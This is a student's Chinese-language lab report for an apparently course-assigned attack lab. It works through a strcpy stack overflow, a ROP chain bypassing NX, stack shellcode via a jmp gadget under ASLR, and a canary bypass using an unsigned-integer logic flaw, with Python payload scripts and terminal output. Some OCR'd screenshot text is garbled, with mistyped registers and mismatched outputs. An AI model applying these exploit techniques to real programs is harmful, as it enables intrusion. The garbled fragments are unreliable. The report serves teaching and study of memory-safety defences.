

## Problem 1: 基础栈溢出

分析:

通过 objdump 分析发现 func 函数中使用了 strcpy 函数，该函数在复制字符串时不检查长度。

缓冲区位置：汇编指令 lea -0x8(%rbp), %rax 表明局部变量缓冲区起始于 rbp-0x8（大小仅 8 字节）。

目标函数：func1 地址为 0x401216，调用它可输出目标字符串。

偏移量计算：从缓冲区到返回地址需要覆盖：缓冲区 (8字节) + 已保存的 RBP (8字节) = 16 字节。

解决方案：

使用 Python 构造 payload，填充 16 个 'A'，随后紧跟 func1 的小端序地址。

构造的Python代码如下：

```
import struct

# Padding: 8 bytes buffer + 8 bytes saved rbp

padding = b"A" * 16

# Target: func1 address 0x401216

target = struct.pack("<Q", 0x401216)

payload = padding + target

with open("ans1.txt", "wb") as f:

    f.write(payload)
```

结果：

成功输出 Yes! I like ICS!。

```
报告器 > report.md > # Problem 1: 基础栈溢出
1 # 找出溢出点实验
2 ## 确目标函数
3 ## 目标函数地址
4 ## Problem 1:
5 - **分析**:
6 - **解决方案**:
7 - payload是什么，即你的python代码或其他能体现你payload信息的代码/图片
8 - **后果**:
9 - 附上图片
10 Problem 1: 基础栈溢出
11 分析:
12 通过 objdump 分析发现 func 函数中使用了 strcpy 函数，该函数在复制字符串时不检查长度。
13 缓冲区位置：汇编指令 lea -0x8(%rbp), %rax 表明局部变量缓冲区起始于 rbp-0x8（大小仅 8 字节）。
14 目标函数：func1 地址为 0x401216，调用它可输出目标字符串。
15 偏移量计算：从缓冲区到返回地址需要覆盖：缓冲区 (8字节) + 已保存的 RBP (8字节) = 16 字节。
16
17 解决方案：
18 使用 Python 构造 payload。填充 16 个 'A'，随后紧跟 func1 的小端序地址。
19 构造的Python代码如下：
20 import struct

问题 输出 调试命令 烧录 窗口
+ bash - attack-lab-66-1u 问题 | 窗口
Build with Agent
All responses may be inaccurate.
Generate Agent Instructions to onboard AI onto your codebase.

luyongchang@LAPTOP-0AFURG2U:~/attack-lab-66-1u$ ./problem1 ans1.txt
Do you like ICS?
Yes! I like ICS!
luyongchang@LAPTOP-0AFURG2U:~/attack-lab-66-1u$
```

## Problem 2: ROP 绕过 NX 保护

分析:

该程序开启了 NX 保护，栈不可执行。我们需要利用 ROP (Return Oriented Programming) 技术。

目标：调用 func2 (地址 0x401216)，且必须传参 rdi = 0x3f8 (即 1016)。

Gadget: 在地址 0x4012c7 发现 pop %rdi; ret 指令序列。

偏移量：与 P1 类似，缓冲区在 rbp-0x8，偏移量为 16 字节。

## 解决方案：

构造 ROP 链: Padding + pop\_rdi\_addr + 0x3f8 + func2\_addr。

Python代码如下：

```
import struct
```

```
padding = b"A" * 16
```

```
pop_rdi_ret = struct.pack("<Q", 0x4012c7)
```

```
arg_val = struct.pack("<Q", 0x3f8)
```

```
func2_addr = struct.pack("<Q", 0x401216)
```

```
payload = padding + pop_rdi_ret + arg_val + func2_addr
```

```
with open("ans2.txt", "wb") as f:
```

```
f.write(payload)
```

## 结果：

成功输出 Welcome to the second level! Yes!! like ICS!。

### Problem 3: 绕过 ASLR 与代码注入

分析：

栈可执行但地址随机化。

目标：跳转到 func1 (地址 0x401216) 且 rdi = 0x72 (114)。

核心技巧：程序提供了一个 gadget `jmp_xs` (地址 0x401334)。它读取 `saved_rsp` (即缓冲区起始地址) 并执行 `jmp *%rax`。这允许我们无需硬编码栈地址即可跳回栈执行 Shellcode。

偏移量：缓冲区在 rbp-0x20，到返回地址偏移量为  $32 + 8 = 40$  字节。

## 解决方案：

编写 16 字节的 Shellcode 放在缓冲区开头，覆盖返回地址为 jmp\_xs 地址。

Python代码如下：

```
import struct
```

# Shellcode: mov rdi, 0x72; mov rax, 0x401216; jmp rax

```
shellcode = b"\x48\xc7\xc7\x72\x00\x00\x00" \
```

b"\x48\xc7\xc0\x16\x12\x40\x00" \

61

成功输出以太网帧 - 114

The screenshot shows a terminal session in WSL Ubuntu titled "attack-lab-66-lu [WSL: Ubuntu]". The user is working on a challenge involving shellcode and assembly. The terminal output includes:

```
luyongchang@APTOP-0AFURGZU:~/attack-lab-66-lu$ ./problem1 ans1.txt
Do you like ICS?
Yes,I like ICS!
luyongchang@APTOP-0AFURGZU:~/attack-lab-66-lu$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes,I like ICS!
luyongchang@APTOP-0AFURGZU:~/attack-lab-66-lu$ ./problem3 ans3.txt
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
luyongchang@APTOP-0AFURGZU:~/attack-lab-66-lu$
```

The user has also opened several files in the background, including `proto.py`, `p0.py`, `p1.py`, `p2.py`, `p3.py`, `reportmd`, and `ans1.txt`. The `reportmd` file contains the following exploit code:

```
#!/usr/bin/python

# Target: func1 address 0x401216
# Shellcode: mov rdi,0x72; mov rax,0x401216;jmp rax

#成功输出 Welcome to the second level! Yes,I like ICS!
#!alt text[image-1.png]
```

#### Problem 4: Canary 保护与逻辑绕过

分析：

程序开启了 Canary (栈保护) 机制。

## Canary 机制体现：

设置 (地址 0x136c): 执行 mov %fs:0x28, %rax 获取随机值并存入 rbp-0x8。

校验 (地址 0x140a): 返回前取出栈上的值并与 %fs:0x28 原值异或比较，若被破坏则调用 \_\_stack\_chk\_fail。

绕过思路：题目提示“不需要写代码”。分析 func 发现存在逻辑漏洞。通过输入 -1，在无符号比较 (jae) 中它被视为极大值，绕过初步检查。经过循环减法后结果变为 1，满足 if 判断直接调用通关函数，完全无需溢出，从而绕过 Canary。

解决方案：

无需 payload 文件。直接运行程序，会要求输入，输入3次-1即可

结果：

成功输出 great! I will give you great scores。

```
attack-lab-66-lu [WSL: Ubuntu] reportmd M reportmd M ans1.txt U
reports > # Shellcode: mov $d1, 0x72; mov $rax, 0x401216; jmp $ax >### Problem 4:
81      # Shellcode: mov $d1, 0x72; mov $rax, 0x401216; jmp $ax
82
83      mov $d1, 0x72
84      mov $rax, 0x401216
85      padding = b"\x40" * (40 - len(shellcode))
86      jmp_xs = struct.pack('<Q>', 0x401334)
87      payload = shellcode + padding + jmp_xs
88      with open("ans1.txt", "wb") as f:
89          f.write(payload)
90
91      结果:
92      成功输出: Your lucky number is 114.
93      ![[alt text]]{image-2.png}
94
95  luyongchang@LAPTOP-6AFURGUU:~/attack-lab-66-lu$ ./problem1 ans1.txt
96  Do you like ICS?
97  YesI like ICS!
98  luyongchang@LAPTOP-6AFURGUU:~/attack-lab-66-lu$ ./problem2 ans2.txt
99  Do you like ICS?
100  YesI like ICS!
101  luyongchang@LAPTOP-6AFURGUU:~/attack-lab-66-lu$ ./problem3 ans3.txt
102  Do you like ICS?
103  If you do that, I will give you great scores!
104  Now, say your lucky number is 114!
105  Your lucky number is 114
106  luyongchang@LAPTOP-6AFURGUU:~/attack-lab-66-lu$ ./problem4 ans4.txt
107  Please tell me what is your name?
108  -1
109  hil do you like ics?
110  if you give me enough yuanshi,I will let you pass!
111  -1
112  your money is >248967295
113  great! I will give you great scores
114  luyongchang@LAPTOP-6AFURGUU:~/attack-lab-66-lu$
```

## 思考与总结

1.栈溢出防御演进：本次实验完整展示了从基础溢出到对抗 NX (栈不可执行)、ASLR (地址随机化) 及 Canary (栈保护) 的过程。防御技术在进步，攻击手段也从简单的代码注入转向 ROP 和逻辑漏洞挖掘。

2.x86-64 传参规则：深刻理解了 64 位下通过寄存器 (RDI, RSI 等) 传参的机制，这是构造 ROP 链的基础。

3.安全意识：实验证明，即使开启了所有硬件级保护 (Canary + NX + ASLR)，程序逻辑上的疏忽 (如 P4 的整数判断) 依然会导致系统被攻破。编写安全的代码 (如使用 strncpy 代替 strcpy) 比依赖系统保护更重要。

## 参考资料

1.CTF Wiki - Stack Overflow

2.Intel® 64 and IA-32 Architectures Software Developer's Manual

